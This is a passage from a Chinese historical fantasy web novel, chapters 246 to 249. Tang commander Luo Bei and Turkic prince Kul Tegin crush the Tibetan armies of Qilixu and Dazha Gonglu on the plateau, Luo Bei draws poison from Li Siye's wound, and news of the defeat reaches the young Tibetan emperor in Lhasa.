唐人的冲锋号和吐蕃人的牛角号连绵一片,乞力徐的先锋骑兵也踏着冰封的河面疾驰而来。这些生长在雪域的战士身披牦牛皮甲,长矛尖端直指唐军的方向。 “放!”骨力裴罗的暴喝撕开凝固的空气。唐军阵后突然竖起了数百张连箭弓弩,铁矢带着死亡尖啸没入吐蕃前锋。 吐蕃人冲在最前的百骑同时人仰马翻,倒下的战马在冰面滑出数丈,猩红的血线在苍白的冰原上蜿蜒绽放。 乞力徐的中军大旗忽然前倾,河谷两侧的山脊后转出黑压压的步卒方阵。这些吐蕃精锐左手持如同自己一般高的巨盾,右手握七尺长矛,如同移动的钢铁刺猬向唐军本阵压来。 “他终于舍得把自己的重甲步兵压上来了。”洛北冷笑一声,转头示意传令官。 六面大纛同时前指,唐军前阵突然向两侧裂开,五百陌刀手踏着雷鸣般的脚步向前推进。陌刀队都是身披明光铠的壮汉,他们双手握持着陌刀,刀光翻卷时似乎是在原野上掀起了一片银色浪涛。 吐蕃长矛刺在陌刀手的重甲上迸出火星,下一刻便被连人带盾劈成两半。 唐军一进再进,吐蕃人一退再退,就在这胜利似乎能够轻而易举地到手时,冰面突然传来了诡异的碎裂声。 是唐军骑兵陷入了暗藏冰下的陷马坑,数十匹战马哀鸣着,有的折断了前蹄,有的崴了腿,还有的把身上的骑士重重地摔在地上。 乞力徐趁机命令向前移动,吐蕃弓手借着盾阵掩护向唐军倾泻箭雨,数支铁箭擦过洛北的兜鍪,在明光甲上划出了刺目火星。 “取我马槊来!”另有一声断喝响在空中,唐军大旗自乞力徐侧翼的山坡上竖起,与唐军大旗一起到来的,还有象征吐谷浑的王旗。 哥舒翰接过慕容曦光空中抛来的一支马槊,“李嗣业!随我冲阵!” 第246章 “可是如今大唐与吐蕃尚在交战之中,吐蕃赞普应当不会自毁长城吧?” 跟在哥舒翰身后的青年大将一颔首, 率领一支小队如游蛇般直入吐蕃中军。 吐蕃人慌忙架起长矛,但哥舒翰和李嗣业配合得当,哥舒翰槊锋挑飞三面皮盾后精准刺入掌旗官咽喉。吐蕃大旗应声而倒。 “放箭!”中军传来乞力徐声嘶力竭的怒吼。 吐蕃帅旗倾倒的瞬间, 吐蕃人万箭齐发。哥舒翰左右已有数个唐军将士倒下, 他反手挥槊,挡开几支飞来的羽箭,却见身侧李嗣业跳下战马,自马鞍上抽出了陌刀。 李嗣业身形高大,手持陌刀时便如一座山峰, 他手中一片刀光水泼不进,竟将迎面而来的箭矢尽数斩断。 吐蕃人看得无比真切,心下已经生了三分恐惧, 他刀锋过处,吐蕃军阵无不裂开一条缝隙。 哥舒翰仰天长笑:“既然不想让我们走,那我们就拿了吐蕃主帅人头再回去!”他调转马头, 槊尖直指乞力徐所在的中军。 李嗣业暴喝一声, 陌刀劈开三面牦牛皮盾,刀光过处血浪翻涌。吐蕃士卒见这杀神竟在箭雨中劈出条血路,纷纷向两侧溃散。 吐蕃军阵一乱,洛北旋即下令变阵, 他率骑兵切断了吐蕃右翼的退路,他手间的陨铁唐刀宛如一道闪电, 所过之处,吐蕃人便如割麦一般倾倒下去。 乞力徐见状,急调重甲骑兵回援, 这一举却正中洛北下怀——唐军阵中突然升起五色令旗,潜伏多时的轻骑由王训率领, 自冰封的河面上游席卷而下。 战局将倾之际,异变陡生。 一支羽箭自乱军中破空而来,正没入李嗣业左肩。他拿着陌刀的身形微晃,反手将刀尖刺入冰面稳住了身形。 哥舒翰目眦欲裂,马槊横扫逼退围攻的吐蕃武士,却见李嗣业猛然拔箭掷地:“区区小伤,安能阻我!” 鲜血自明光铠的缝隙中流出,染红了他半边身体。他单手拎刀,刀光如满月横扫千军。 吐蕃自河中买入的铠甲在这等神力面前脆如薄纸,残肢断刃随血雾冲天而起。陌刀所向之处,吐蕃军阵竟被硬生生劈成两段。 “好个勇将!”洛北高声赞叹,他弯弓在手,连放数箭,将躲在吐蕃阵中的弓箭手撂下马去。 “浑释之!”他放下弓箭,高声下令,“你带一只小队前去接应!把哥舒翰他们带回来!” 浑释之本以为他未到独自领队的时候,被洛北叫到名字,第一反应是不敢相信,第二反应是无法自抑的狂喜和激动:“是!是!属下遵命!” 他心中好像有一把热火在烧,高举佩刀便带队杀入敌阵之中。 这一下终于将吐蕃大军彻底分割,乞力徐见势不妙,立刻传命撤军。吐蕃残军奋力突围。 “到底还是让他跑了。” 夜色降临之后,唐军在原地就地扎营休整。一众将领挤在洛北的大帐中复盘今日的战事,骨力裴罗一边看着地图上乞力徐逃窜的方向,一边懊恼地捶腿:“若是大汗让我去追,说不定……” “吐蕃军力在我们三倍之上,他们军阵不散就贸然追击,太冒险了。” 王训在更高的高原上待了半月,脸上已经泛起两团红晕,骨力裴罗看着他,想笑又不敢笑:“这个险值得冒,要是被他们两军合为一处……” “那也无妨。”洛北轻声道。 慕容曦光本在看地图,听他这么一说,立刻站起了身:“大哥哥这话说的是什么道理?” “两位出身同一家族的大臣率领重兵在外。”洛北走到地图前,转身面对众人,“上一次吐蕃出现这样的情形还是在论陵钦之时,再上一次是在噶尔家族时代……” 慕容曦光微微皱眉:“我知道论陵钦和噶尔家族俱为吐蕃赞普所杀,可是如今大唐与吐蕃尚在交战之中,吐蕃赞普应当不会自毁长城吧?” “这不取决于战事如何发展。”洛北温和地一笑,眼眸中没有多少温度,“而要取决于吐蕃赞普的想法。” 他顿一顿,将两支笔杆横在桌上,又将一只镇纸架在笔杆之上: “赞普年幼,所以当年吐蕃摄政太后赤玛雷病重之时,以外戚尚族压制出任大论的韦氏家族。可现在,尚氏的政务大臣尚赞咄热拉金在吐蕃前线为我们所杀。”他轻轻抽掉一支笔杆,镇纸随即滚落在地。 “所以……吐蕃赞普会比之前更害怕韦氏家族谋反。” 他的尾音化作一阵轻微的呛咳,但很快被他掩去: “骨力裴罗,你带一个小队去沿途伏击乞力徐的军队,记住,不要交战,烧了物资就回转,如果撞上了乞力徐,就佯败脱身。” 骨力裴罗颔首,又挠了挠头:“大汗,这不公平,为什么建功立业的事情您让王训、浑释之去做,到了我这儿就成了吃力不讨好的活?” 哥舒翰拍了拍他的肩:“这可是阿史那乌特的军令!你小子要不愿意去,我去!” “不,不,不。”骨力裴罗生怕洛北答应换人——那他可就是这一批亲卫里极少数没有亲自带过队的卫士了。他看洛北并无表示,立刻低头抱拳:“属下这就去!” 他退出大帐,帐中才笑作一片。洛北吩咐众人各自休整,又分了巡营班次,这才叫散会。 慕容曦光同他走在最后,犹豫了几番,才开口:“我看大哥哥脸色不太好,您身为大军主帅,万千性命系于一身,是否应当……” “一点风寒,不碍事。”洛北摆了摆手,没有让他把话说下去,“再说,你信不过我的医术么?” “我不是这个意思。”慕容曦光笑了,露出一排银牙,“大哥哥医术高明,我至今不忘。只是您应当保重自身才是,既然已有风寒在身,就不应当冲在最前……” 他说到一半,洛北那双流金般的眼眸就望了过来,于是慕容曦光的声音越来越小,越来越轻,最后干脆自己收住,不再说话了。 洛北满意地收回眼神:“对了,我看你和哥舒翰阵中有个善用陌刀的青年,身手极佳,那是谁?” “那是李嗣业。”慕容曦光道,“他是从长安来河西投军的,一直在我麾下。此人身强力壮,极为善用陌刀,是个先锋大将的材料。不过这次他受了伤,还不知什么时候能恢复。大哥哥若要用他当先锋,怕是不行。” 洛北笑了:“我不是在想这个。我是在想,若是他能同阙特勤较量一番,一定很有意思。” 他们说话之间,外面忽而有医师匆匆闯了进来,医师青色的衣襟上绣着碎叶文馆的纹样,他低身对洛北道礼: “大帅,李嗣业李校尉身上那支箭我们已经起出来了……” 他“只是”二字还未出口,洛北便已经明白了他的意思:“箭上有毒?” “是。”医师惊讶地抬头看他,“我们从未见过此毒,不敢贸然下手,还请大帅帮忙看看。” 慕容曦光还未反应过来,洛北已掀帘而出。朔风卷着雪粒扑面而来,远处伤兵营的灯火在黑夜之中明明灭灭,洛北裹紧了身上厚重的外袍,踏进了风雪里。 帐中血腥气浓得化不开。李嗣业仰卧在毡毯上,左肩伤口泛着诡异的青黑色,几个医师都围在他身边,见到洛北时,脸上才露出一点轻松神情, “不必多礼了,都起来吧。”洛北摆了摆手,越过众人之前,伸手扣住李嗣业的手腕,片刻之后,他微微皱眉,用腰间的金错刀沾了一点毒血在鼻尖轻轻闻了闻。 “吐蕃人真是舍得……”他摇了摇头,转头对慕容曦光道,“我还是年少的时候在高原上见过这种毒药。那时候他们拿这个来秘密处决那些不听他们号令的各部贵胄。” “大哥哥可有解法?”慕容曦光问。 “有。”洛北将金错刀在烈酒中一浸,指尖停在李嗣业的锁骨下方,“毒入心脉之前皆有转圜。曦光,你替我按住他檀中穴。” 他手上一动,黑血已经顺着刀刃流了出来,营帐之中腥臭气弥散开来,已有没见过世面的小医师悄悄退了出去。 “去取犀角化毒丸来。”洛北吩咐医师道。 医师不疑有他,转身出了帐篷。医生掀帘带起的微风扰动了烛影,还未等烛影平静下来的时,洛北已经俯身含住伤口,他歪头将一口毒血吐在一边的铜盆里,却发现慕容曦光半跪在地上,一脸惶恐地望着他。 “这是做什么,起来!” “大哥哥不可如此。”慕容曦光声音里已经带了哽咽,“您身为主帅,安危有千钧之重,怎么能……”他按在李嗣业胸膛的手微微发抖,“换我来吧。” “胡闹!”洛北呵斥道,“你是医者还是我是医者?此毒何等凶险霸道,若是出了差错,你准备让谁统御吐谷浑部?” 慕容曦光的眼泪流出了眼眶,他和洛北相识多年,极少听他用这么重的语气说话,当下不敢再劝,只得依着洛北所言不动。 偏在这时,医者取完化毒丸走了进来,眼见此场景,也吓得跪倒在地:“大帅不可冒险,大帅!” 洛北挥了挥手,示意他们噤声,自己低头工作起来。 只见他每吸一口毒血,李嗣业肩头的青黑便褪去一分,而主帅的面容却渐渐有些苍白。 最后一缕毒血吸尽时,洛北的咳嗽再压抑不住。他偏头将黑血吐进铜盆,回头吩咐医者们:“去拿雪水来……此毒遇热则炽,需以雪水来解……”话未说完,他身形略一晃动,几乎是站不稳了, 慕容曦光立刻扶住他半边身体,动作之大几乎踢翻了铜盆,毒血水落在地上,化出一道青烟。一帮医者瞪大眼睛,连话都说不出来——以此毒的强悍霸道,便是他们,也没有五成把握。 “这是在做什么?”裴耀卿奉命巡查完一遍伤兵营走入此地,见此情景不由得变了脸色,“你们疯了不成?让主帅做这样的事情?” “不要训他们。”洛北稍缓了些,又重新站起身,“这种毒很霸道,没接触过的人贸然上手,容易把自己也陷进去。你巡视过伤兵营了,那里如何?” 裴耀卿哪敢和他顶撞:“衣服和饮食都充足,就是高原风大,晚上又下雪了,士兵们怎么样都觉得冷。” “让伙头军晚上烧些热汤来。我们送过去。”洛北拍了拍慕容曦光的手臂,示意他同自己一道去。 慕容曦光起身追在他身后,见他走出帐外,似乎想起什么似的,站在一片暗蓝的天地之间,望着远处雪山的顶峰: “希望阙特勤那边进展顺利……将士们,很快就能回家了。” 第247章 “大唐军神,名不虚传。可是,如果我不按照你的剧本走呢?” 同样的一片夜空下, 达扎恭禄咬着牙望着远山上阙特勤的营垒。象征突厥左贤王的狼头纛与唐军的赤旗在空中飞舞着,像是一座座不可逾越的堡垒。 “该死的狼崽子。” 这已是达扎恭禄夜不能寐的第六个夜晚。 比起唐军,阙特勤麾下的突厥骑兵更善轻骑奔袭。阙特勤刻意在高地扎营, 每夜都派三波以上的骑兵前来夜袭。到了今日, 吐蕃军人已经被逼成了惊弓之鸟,即使是自家骑兵巡营的马蹄声也会让很多人惊醒。 远方远远地传来吐蕃史诗的唱诵声,那是士兵们在传唱松赞干布统一吐蕃的伟大事迹。声音传到营中,能为士兵们带来一点慰藉。 达扎恭禄双眼已经满是血丝,精神近乎到了强弩之末, 但他依旧倔强地穿着铠甲站在那里,像一尊雕像。 “将军——”传令兵骑马飞驰而来,带着一封紧急军报:“大论乞力徐兵败苏毗, 大军死伤过半,他已收拢残军东逃。” 达扎恭禄瞳孔微缩:“乞力徐拥兵十几万,远在洛北兵马之上, 怎么会那么容易败?!” “大论没想到唐军主力会在苏毗部, 还有”传令兵不敢看他,“河源的慕容曦光和哥舒翰也来了。” 达扎恭禄猛然一惊,转身回到帐中,拿起烛火仔细端详着地图上的兵力布防图, 他盯得太久,回过神来时手上一动, 烛泪便已落到了手上,但他浑然不觉,只坐倒在大案边: “我知道他想干什么了” 他苦笑着给自己倒了一杯酒, 如今他带着一支屡战屡败,每每受挫的军队驻扎在此。每一天每一夜都在遭受夜袭的折磨, 还被断了粮道。 等到他的粮草耗得七七八八,士兵士气溃散,自伏俟城和应龙城出发的唐军援军就会出发到此,以绝对的优势兵力对吐蕃军队发起围攻。 此战结局会如何? 达扎恭禄端详着杯中酒液微微泛起的光,心中却想起他那位远在苏毗的对手,不知在多久之前,那位金色眼睛的唐军主将就已经为他算好了结局: 他必败无疑。 就像娑葛、阿史那匍俱等名字一样,达扎恭禄这个名字也会成为洛北的传奇故事里一个平平无奇的注脚。 “分割、包围,集中优势兵力分而破之。”达扎恭禄将杯中酒液一饮而尽,“大唐军神,名不虚传。可是,如果我不按照你的剧本走呢?” 他起身走出帐外,高声叫来自己的副官:“传令诸军,预备起行。” “将军,我们去哪里?” 副官脸上露出恐惧神色,在这样秋冬之交的季节,夜色降临高原之后,可以称得上是危机四伏。他们如果连夜拔营,便要面对风暴、雨雪,还有无处不在的突厥骑兵,稍有不慎就会全军覆没。 达扎恭禄点了点桌面:“去救乞力徐的军队。” “可是将军——”副官胆怯地喊了他一声,后半句话还没出口就被卡在喉咙里。 达扎恭禄腰边的佩刀已经横在了副官的喉咙上,刀鞘上的绿松石梗在脖颈的皮肤上,留下一道红色的痕迹。 “这是军令。”达扎恭禄斩钉截铁地道:“有违抗者,杀。” 阙特勤正在点着四只牛油大烛的大营里和衣而睡,斥候未曾掀帘进帐,他便坐起身来,抹了一把脸:“怎么了?” “吐蕃军队西撤了。”斥候半跪在地,大口大口地喘着粗气,铠甲上凝结的冰碴簌簌掉落,“他们拔营而行,以重装步兵殿后,我们的轻骑只敢缀在他们身后,不敢追击,该怎么处置,请副帅示下。” 阙特勤拢了拢身上披着的大氅:“这个达扎恭禄,确实是个难缠的对手。他一定是向西去,迎接乞力徐的军队了。” 他站起身,走到帐外,望着万里晴空的高原,这是个明月高悬的夜晚。 “他是在赌命啊。”阙特勤笑笑地道,“他要抢在郭知运的骑兵封锁白兰道前,接应乞力徐残部。两军会师一处,才有与我们掰手腕的资本。让轻骑沿着山谷追赶,袭击其侧翼,如果侧翼防守严密,找不到机会,就撤回来。” 他转过身,松了松身上的铠甲:“传令各营,熄灭半数火把,儿郎们可以卸甲休整了。” 身后传来铁器刮擦草叶的响动,曾经他的副官,现在的大将步利按着弯刀上前: “左贤王,为什么我们不立刻追击?我们有七千精骑!此刻衔尾追击,定能斩下达扎恭禄首级!” 阙特勤看向他:“你没读过汉人的兵书吗?‘围师必阙,穷寇莫追’八个字,是什么意思?” 步利当然也读过《孙子兵法》,闻言只是一缩头: “对被包围的敌军留下逃走的缺口,对濒临绝境的敌军不要过分逼迫。当年在金山脚下,这节课是乌特特勤亲自讲的。我怎么敢忘记?可是” “没有什么可是。”阙特勤用刀鞘挑开帘帐,转回大帐之内:“连日袭击,兄弟们也累了。此刻与兵力在我们之上的吐蕃人对阵,不是明智之举。你也守了好几天了吧?去睡觉吧。” 步利犹豫片刻,还是抱拳道:“我还是想率军追击,请伯克允许!” 自阙特勤做了突厥左贤王之后,步利便没有再叫过这个旧称,此刻喊出来,已经是抱了一点求情的意味。 “不要急。”阙特勤指着远方飘来的暗沉乌云:“你闻到雪的味道了吗?我们的军队没有配牦牛队来运辎重,也不善于在暴雪里奔袭,一旦被达扎恭禄反击,事情就会一发不可收拾。” 他把身上的大氅丢给步利:“你要是真想做些事情,那就巡营去,等去袭击达扎恭禄侧翼的士兵们回来了,给他们个安稳的地方睡觉。” “是。”步利抱拳而去。阙特勤则转向瞭望塔的方向,他看到东南方向的地平线上,有星星点点的火把正在穿透夜幕,那是郭知运与哥舒亶抵达的讯号。 三天之后的清晨时分,达扎恭禄带着一身风雪掀开了乞力徐残军的营帐。昔年的吐蕃大论裹着一件厚重的大氅坐在火塘边,原本身强力壮的身躯已经显出几分佝偻,火光在他的脸上投下深浅不定的阴影,似乎是察觉到来人,才回头看去。 “是你啊?” 达扎恭禄将披风解下,自己坐到了火塘边:“大论” 他犹豫片刻,才又叫出了昔日的称呼:“叔父。” “你带兵来的正好,我也不用派使者去找你了。”乞力徐叹了口气,从袖中取出一封信件交给他:“唐人的探马四处游曳,他们收买了很多叛乱的苏毗人,那些人给他们带路,为他们拦截我们的使者。” “叔父”达扎恭禄声音里带着一点哽咽,足智多谋、战功赫赫的吐蕃大论乞力徐,已经被唐军吓破了胆子,提起唐人的时候,像是在提传说里的鬼怪。 他有点心酸地从乞力徐手中接过信件,一读便忍不住叫了一声: “赞普让我们收兵回逻些城?!为什么?” “因为苏毗叛乱之后高企的盐价,因为唐人已经向逻些城的使者开出了一个还过得去的价码,也因为你和我。” 乞力徐闭上眼,声音里犹有叹息之声: “因为尚赞咄热拉金被杀、吐谷浑王子失踪在阵中之后,我们这对出身韦氏的‘论’们再度手握重兵,孤悬在外。” 他睁开眼睛:“逻些城的赞普太年少了。王家的那些人不敢赌。” 达扎恭禄这才明白,让这位大论伤心透顶的不是一次败仗,而是赞普的态度。他坐在火塘边,声音沉郁:“可是叔父,我们就这样撤军回朝,难道王家那些人会放过我们?” 乞力徐的手指骤然在羊皮信笺上捏出褶皱,火塘里的松枝噼啪爆响,似乎是他的心情变动。 “现在不能撤军,叔父。我们丢了青海、我们丢了河源一旦撤军,就是把苏毗也丢了出去。象雄、党项的那些部族首领就会人心思动。”达扎恭禄苦口婆心,“叔父,我们能在逻些城统治吐蕃,难道真的是因为一年一次的会盟吗?不过是仗着兵甲锐利,军势雄壮罢了。” 乞力徐苦笑一声,还未说话,帐帘已经被传令官掀开了。“大论!唐军前锋来了,哥舒翰率领骑兵到此,据此不过三十里了!”他双膝跪地,捧着一支断成两截的唐军羽箭。 乞力徐深深吸了口气,达扎恭禄立刻抓住这瞬息即逝的机会,将伟大赞普杜松芒波杰赐给他的佩刀重重地插进火塘。 窜起的火焰照亮他坚决的眉眼:“风要起了,叔父,你是打算在这里看着,像个败者一样回到逻些城,还是殊死一搏,击败唐人,收回我们的草场?!” 乞力徐睁眼看着他:“你打算怎么做?” “召集众军!”达扎恭禄走出帐外,用沙哑的嗓音唱起了吐蕃古老的史诗《格萨尔王》,从大帐中的士兵,到帐中的士兵,越来越多的吐蕃士兵跟着应和,歌声穿透呼啸的北风,连伤兵的呻吟都被这磅礴的声浪淹没。 “将士们,唐军想把锁套套在我们的脖子上,让苏毗人在我们的草场牧马!可我们不能屈从于命运,我在此立誓!要么带着唐军首级回逻些城论功行赏,要么让秃鹫把我的骨头带回故乡!” 当声浪从后军涌向前军时,达扎恭禄知道他赌赢了。八万人马的嘶吼几乎能震落山巅积雪。 可是,达扎恭禄回头远望,无数弯刀敲击盾牌的声响中,他能听见唐军骑兵的磨刀声。 第248章 “这一仗会是我的时代里的最后一场大战。” 后世的史学家们曾将无数次地将这一战与昔年的大非川之战相比。这场属于大唐大胜打断了吐蕃迈向辉煌的步伐, 把吐蕃重新按回了大唐藩属的位置上。 其后的数十年之间,直到吐蕃王国崩溃,高原上再也没有一位大论或是赞普敢于把自己贪婪的目光投向长安。 但对于洛北自己来说, 这一战实在乏善可陈。 七分原因是他早在出发瓜州之前便已经料想到了即将发生的一切, 剩下要做的是不过就是在棋盘前看着棋子收完。 三分原因是,他的属下们近乎执拗地请求他不要亲自领兵冲锋。 “请大帅安坐中军,我叔侄愿以身为刃冲开达扎恭禄的重甲步兵。”这是把胸甲拍得锵然作响的哥舒翰。 “我率部西归,总要有立足之功,不然如何号令青海各部?还是请大哥哥准许我前驱作战。不要自己亲自冲锋了。”这是温和坚定的慕容曦光。 就连一贯稳重的郭知运也对洛北直言不讳:“公子的帅旗立在何处, 大军的胆气便聚在何处。公子可不能把自己身陷险境啊……” 更不要说骨力裴罗、浑释之、王训这些少年亲卫。他们人人眼里都有热切的光,各个都铆足了劲,等着一次率军冲锋, 大获全胜的机会,好把自己的名字留在青史上。 身为大军主帅,洛北自然可以一意孤行地拒绝所有人的建议。但当他在沙盘前沉思之时, 阙特勤带着一身风雪走进了他的大帐。 “乌特, 你总要放手的。” 他的挚友和兄弟,统领突厥全军的左贤王站在他身后半步的位置,看着他在沙盘上标出吐蕃军队的布防阵型——这是由哥舒翰的先锋骑兵传递回来的最新情报。 “自幽州到呼罗珊,自于都斤山到逻些城, 你不可能每次都出现在战场上。” 洛北转过头看他,金棕色的眼眸被火光照亮, 显出一点耀眼的金光:“我还以为,这一仗会是我的时代里的最后一场大战。” 阙特勤哈哈大笑,换做任何一个人说这样的话都要被他质问为何如此狂傲, 唯有洛北说这话的时候,他只有颔首赞成的份: “或许正因如此, 你才更应该给他们一个机会。” 他几步来到洛北身侧,真挚地开口:“你知道,不是所有人都能够在有生之年碰上一场赌上国家命运的战争。” 帐外北风卷起风雪拍打牛皮大帐,火盆里的炭火突然噼啪爆响。洛北的手指无意识地摩挲着沙盘的边缘,沙土堆砌的大积石山隘口插着象征吐蕃轻骑的小旗……自那里一路向西,吐蕃人扎着一字长蛇阵与唐军的半圆包围圈对峙。 “我当你的先锋大将。”阙特勤半跪在地,以手抚肩,向他立誓,“你只管坐镇中军。若子时前拿不下积石山隘口,你就以军法处置我!” 他话音未落,帐外突然传来急报。哥舒翰的亲兵浑身浴血冲进大帐,手中还攥着半截染血的吐蕃令箭: “报!达扎恭禄亲率吐蕃骑兵夜袭我右翼,哥舒将军已带陌刀队接战!” 洛北霍然起身,腰间那把陨铁唐刀与明光铠相撞,发出细微的声响。这日当值的浑释之已经溜出去敲响了战鼓——大帐中很快被一众将领挤满,人们都站在那里,等着洛北发号施令。 “慕容曦光。”洛北的声音很轻,却让年轻的吐谷浑首领浑身一震,“带你的吐谷浑骑兵绕到吐蕃背后,我要你在寅时初刻点燃狼烟。” “末将领命!”银甲青年单膝跪地,他掀帘出帐点兵,护心镜映出帐外纷飞的大雪。 “郭知运。” “大帅!”郭知运抱拳上前。 “你与哥舒亶各领左右两军,辰时前必须抢占峡谷两侧制高点。”洛北的手指划过沙盘,在西侧的隘口重重一点,“若是跑了达扎恭禄和乞力徐,我唯你们是问!” “是!”郭知运高声应和。 “中军由王训、骨力裴罗率领!”洛北转向自己的亲卫:“你们各率一军前驱,务必牵制住乞力徐的主力。” 这是最难的工作,骨力裴罗和王训对视一眼,双双上前,一言不发地从洛北手中接过令箭。 帐外已经响起了苍凉的号角声,有人在奏出征乐了。 洛北转头看向阙特勤,嘴角终于扬起一点弧度:“你不是立了军令状,说子时前要拿下隘口?还不走吗?” 阙特勤大喜过望,抱拳应是,便转身离开大帐去了。 当第一支火箭照亮峡谷上空的刹那,达扎恭禄才明白自己犯了多么致命的错误。 在哥舒翰的右翼迎接他的是李嗣业率领的三千陌刀手。这些被征召而来的健儿肩扛陌刀,玄甲在火光下泛着鱼鳞般的冷光。 当吐蕃重骑兵如黑云压城般冲来时,李嗣业暴喝如雷,第一排陌刀手踏步前劈,刀刃劈开马颈时激起的血雾,几乎能在风雪之中凝成一道猩红帷幕。 三十里外,慕容曦光与吐谷浑部马蹄正碾过结冰的叶叶河面。青海驄的马蹄在冰面上凿出繁星般的白痕,慕容曦光突然想起多年前洛北与他如同故事般说起雪原的夜晚。 “风雪之中无所依凭,唯有罗盘可以信任。” 他从怀里掏出那枚他从碎叶文馆拿到的小小的罗盘,跟着它的指引扑向猎物的后背。 战争很快随着战鼓与吼叫声在方圆数里之内展开。唐人与吐蕃人在风雪之间互相厮杀。 达扎恭禄苦战多时,依旧无法撼动李嗣业带领的陌刀阵。可就在这时,阙特勤的帅旗刺破风雪,突厥骑兵沿着山谷席卷而来。 他们接二连三地射出手中的火箭,而后抽出弯刀加入这场血腥的厮杀。他们的弯刀好像不是在劈砍,而是在顺着重甲缝隙游走,像野狼一般撕开了吐蕃步兵的咽喉。 “左贤王!”有士兵突然指向西南。阙特勤顺着手指望去,达扎恭禄的帅旗在向东移动——吐蕃主帅达扎恭禄竟要调转方向突围! “好啊!”阙特勤取下雕弓,弯弓搭箭—— 阙特勤手中羽箭离弦的瞬间,慕容曦光的狼烟恰在此时冲天而起。吐谷浑骑兵如同银色匕首捅进吐蕃后腰,吐蕃军阵顿时一乱。 阙特勤抓住机会,立刻带领卫队突入达扎恭禄的中军。他羽箭破空而去,达扎恭禄的大旗应声而落。 达扎恭禄心知他不好对付,只得勒马回身,与他在阵中交战。火星从两人交击的刀刃上迸射,竟在风雪中燃起细小的火星。 第四次交错的回合,达扎恭禄的刀带着破风声劈来,阙特勤仗着自己马术绝佳,在马上侧身下腰,轻巧地避过这一刀。 达扎恭禄见势不妙,回手要躲,阙特勤已然弹起身,手中那把陨铁唐代如切酪般劈开达扎恭禄脖颈,扬起一阵血雾。 浑身浴血的阙特勤举起达扎恭禄的首级,脚下是凝结着血冰的吐蕃王旗:“达扎恭禄已死!识相的速速投降!” “达扎恭禄已死!” 唐军的声浪震天动地,风雪也为之停止。苦战之中的乞力徐主力也因这消息崩溃,军队四散,倒给了王训和骨力裴罗带军主动追击的理由。 发出让他们率兵追击的命令之后,洛北走出中军大帐,抬头望向天空。 天已经亮了,他的帅旗依旧在青灰色的天空中不断飘舞着,金线绣成的“洛”字在晨光中熠熠生辉。 这一夜过后,雪原上几乎被血染红,到处是唐人与吐蕃人的尸首、到处是伤兵的哀嚎,到处是断刃残刀…… 唐军的随军医师们走出营帐,拉着小车四处寻找幸存的伤员。还有人正在替阵亡的士兵们确认身份,再一一安葬。 洛北深深舒了口气,闭上双眼,再睁开眼时,便又是喜怒不形于色的唐军主帅。他接过浑释之递来的死伤名单,转头回到大帐中,起笔为将士们请功。 “大哥哥!看我们抓到了谁!”慕容曦光在这日黄昏兴冲冲地走进他的大帐,没等洛北追问,就让亲兵们拉上来一个五花大绑的人。 这人生就一副吐蕃人的相貌,一只耳朵上戴着绿松石的坠子,身上却糊里糊涂地穿着一件牧人的短衫,听到慕容曦光的声音,只是漫不经心地抬头望向洛北。 “阁下就是吐蕃大论乞力徐吧?”洛北将手边写好的抚恤文书放到一边,改用吐蕃话与乞力徐对话。 乞力徐惊讶地抬起头:“你怎么知道……” “我之前和你没打过照面。”洛北语气平静,“不过能让吐谷浑首领如此兴奋,阁下应该官职不小。既然达扎恭禄已经授首,那么你应该就是乞力徐了。” “哼,既然已经落到了你们的手中,败军之将还有什么话好说。”乞力徐把脸偏到一边,不去与他对视,“请你开刀问斩吧。” “这场战争里已经有很多人失去了生命,不差你一个。”洛北靠向椅背,沉声道,“我有几个问题要问你,你可以想清楚了再回答我。” “其一,尚赞咄热拉金、你和达扎恭禄或死或俘,吐谷浑王子不见踪迹,吐蕃王家准备用谁主政?” “其二,苏毗叛乱,逻些城盐价暴涨,想来再过十来天,便会有贵胄都买不起盐的情况发生,吐蕃王家打算怎么办?” “其三,苏毗叛乱之后,象雄、羊同、党项等部未必不会有样学样。”洛北轻轻一笑,笑容里却没有多少欣喜成分:“明年的会盟还能开得起来么?” 乞力徐听他每一句话都踩在吐蕃的死穴上,闻言已是冷汗涔涔,口中却不能认输:“那与我无关!” “好一个与你无关!乞力徐,你是觉得一死之后就不用在为任何事情负责任了吗?”洛北站起身,“你这么着急想让我杀了你,就是因为你回去也活不成,倒不如死在我手中图个好名声。” 乞力徐努力让自己不要发抖:“我不知道你在说什么?” “不知道?”洛北示意浑释之拿出一封印着吐蕃王家印信的信件,“送信的使者我们可是截获了不止一批……信中的内容,想必你也读过吧?” 他把信件丢在乞力徐身上:“赞普已经写信让你和达扎恭禄班师逻些,但你们不仅违抗了赞普的命令,还把吐蕃主力一次性都丢在了这里。你要是这样灰溜溜地回去,怎么可能还能活得成?” 乞力徐颤抖着双手拆开信件,终于忍不住咽了口吐沫:“连这消息都能泄露出去,吐蕃不败,没有天理啊。” “不要感叹天理了。”洛北走到他面前,弯腰看着他,“我问你,你想活吗?” 第249章 “要是赞普想从我们手中把领土抢走,就请他带着兵马来!” 乌海之败的消息传到逻些城时, 逻些已经飘起了雪花。年轻的赤德祖赞失手把镶嵌着绿松石的鎏金酒杯摔在了地上,流下一片暗红的酒浆。 送信的达扎恭禄营中的亲卫,他浑身是血, 脸上被冻伤了一块, 但他浑然不觉,只紧紧攥着一柄断刀,跪倒在红山宫的台阶之下。 “达扎恭禄将军被杀了——” “吐蕃主力全军覆没——” 他声音嘶哑得像铁匠铺里坏了的风箱,把满殿中的吐蕃大臣们惊得像一个个迸起的火星。 “赞普!”韦氏家族硕果仅存的大臣,韦·绮力心儿扑腾一声跪倒在地:“请赞普准许我提领大军为韦氏家族的英灵们报仇!” 赤德祖赞还未还来得及开口, 他那位素有摄政太后赤玛雷之风的母亲赞玛脱脱登就已起身喝住了他: “绮力心儿!你想干什么?还嫌吐蕃人的血流得不够多吗?” “至少应当把苏毗拿回来,太后……”韦·绮力心儿说着,双目之中流下了热泪:“否则, 等待逻些城里的贵族们也因为长久没有吃盐而没气力的时候,唐人的军队不需要作战,就可以来到这里逼迫我们投降。” 一片哭声的大殿之上, 赤德祖赞是那个最清醒的人。他拖拽着华丽的王袍走到大殿之前, 转身问那个传令的使者: “洛北撤军了吗?” “没有,赞普……”使者把脑袋垂得更低,“我听说他率一支轻骑去了苏毗,说是帮那里的女王稳定局势。” 年轻的赞普听懂了他的言外之意, 如果需要的话,那支轻骑会随时变成一把插向逻些城的利刃。 他忽而感到脖颈上的七宝璎珞勒得自己生疼, 便用力一扯,不顾手指上勒出的红痕,珠串散落一地, 吓得大臣、侍者、奴隶们纷纷跪倒在地。 赞玛脱脱登心疼儿子,上前要把他年轻的头颅搂进怀里:“请勇敢的赞普不要生气, 不要担忧……” 